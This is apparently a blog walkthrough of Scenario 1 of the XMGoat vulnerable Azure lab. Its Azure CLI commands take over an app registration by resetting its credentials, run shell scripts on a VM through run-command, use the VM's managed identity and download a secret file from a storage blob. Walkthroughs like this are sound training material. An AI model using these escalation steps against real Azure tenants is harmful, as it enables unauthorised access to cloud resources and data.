- Cloud Security Club
- Posts
- Solving XMGoat – Scenario 1
Solving XMGoat – Scenario 1
Introduction
Azure, Microsoft’s cloud computing platform, offers a wide range of services that businesses worldwide use. However, as with any platform, ensuring the security of your Azure environment is crucial. This blog post will guide you through the process of penetration testing an Azure environment, specifically focusing on the XMGoat vulnerable environment scenario one. We will highlight key areas to focus on and provide step-by-step instructions to help you understand and test the security of your Azure setup.
Scenario 1
This scenario revolves around:
Resource Groups
Virtual Machines
Storage Accounts
Azure AD Applications
To deploy the scenario first we need to login to Azure Account using Azure CLI
az login
cd scenarios/scenario_1
terraform init
terraform plan -out <filename>
terraform apply <filename>
Note: You need to create a different Resource Group to use with this scenario; you can do it with Azure portal or az cli az group create --name <name> --location <loc>
.
Remember: You should have a unique name for your storage account and use strong passwords for the VMs.
This is how our resources look once deployed:
Getting Started
First plan and build the script
terraform plan -out Scenario1
terraform apply Scenario1
To get access to the initial user and services, use terraform output --json
. This will display the user, password, and services to get started with the challenge.
We’ll log in to the initial user.
az login -u [email protected] -p <PASSWORD> --allow-no-subscription
Let’s try to enumerate the user’s permissions
az ad group list
az ad user show --id "[email protected]"
We don’t have enough permission to view the ad groups and ids, move on to check the apps deployed.
az ad app list --show-mine
There is no MFA, auth permissions and certifications set-up, we can see that in the 2nd and 3rd block itself. We can try to reset the credentials and get access to the service principal account.
az ad app credential reset --id <APPID>
Now that credentials are reset successfully, we can access to the principal account
az login --service-principal -u <appid> -p <password> -t <tenant> --allow-no-subscription
List the VMs running on the account
az vm list
You will get a long output showing all the details about the VM and resource group. Install Azure CLI on the VM and run the command inside the VM. Installing the Azure CLI (Command-Line Interface) on a VM (Virtual Machine) running a Debian-based Linux distribution allows you to manage Azure resources directly from that VM. The Azure CLI provides a set of commands to manage Azure resources, such as creating and managing VMs, resource groups, and other services.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
Once installed successfully, we can log into the VM using the user-assigned identity that we saw earlier when we listed the VMs list.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az login --identity --username d332a127-5f8f-445f-a37d-fc09587f682c"
Now list the storage accounts.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage account list"
In the output we can see batcave01
is the storage account name. Now using this we can print out the containers in it.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage container list --account-name batcave01 --auth-mode login"
Once logged in, we can see a blob named cloudsecc01
. Now we just need to list out the contents inside it.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage blob list -c cloudsecc01 --account-name batcave01 --auth-mode login"
We can see a file named secret.txt
we download the file onto our Vm and then read the contents of the file.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "az storage blob download -n secret.txt -c cloudsecc01 --account-name batcave01 --auth-mode login -f /secret.txt"
Now that it is downloaded into our VM we can read the contents easily.
az vm run-command invoke --command-id RunShellScript --name batcomputer01 --resource-group Waynemanor --scripts "cat /secret.txt"
Conclusion
In conclusion, Scenario 1 of XMGoat shows how an attacker can use leaked credentials to execute commands inside VM and access blobs inside storage account.
Reply